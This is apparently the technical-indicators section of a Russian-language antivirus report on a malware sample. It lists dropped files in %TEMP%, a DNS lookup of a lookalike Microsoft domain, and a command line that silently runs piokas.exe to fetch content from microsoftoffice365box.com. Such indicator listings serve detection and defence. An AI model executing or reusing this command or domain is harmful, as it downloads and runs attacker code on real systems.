Техническая информация
- '%TEMP%\piokas.exe' /norestart /q /i http://microsoftoffice365box.com/streampool
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1992
- %TEMP%\piokas11.exe
- %TEMP%\piokas.exe
- %TEMP%\1344759.cvr
- DNS ASK mi######toffice365box.com
- '%TEMP%\piokas.exe' /norestart /q /i http://microsoftoffice365box.com/streampool' (со скрытым окном)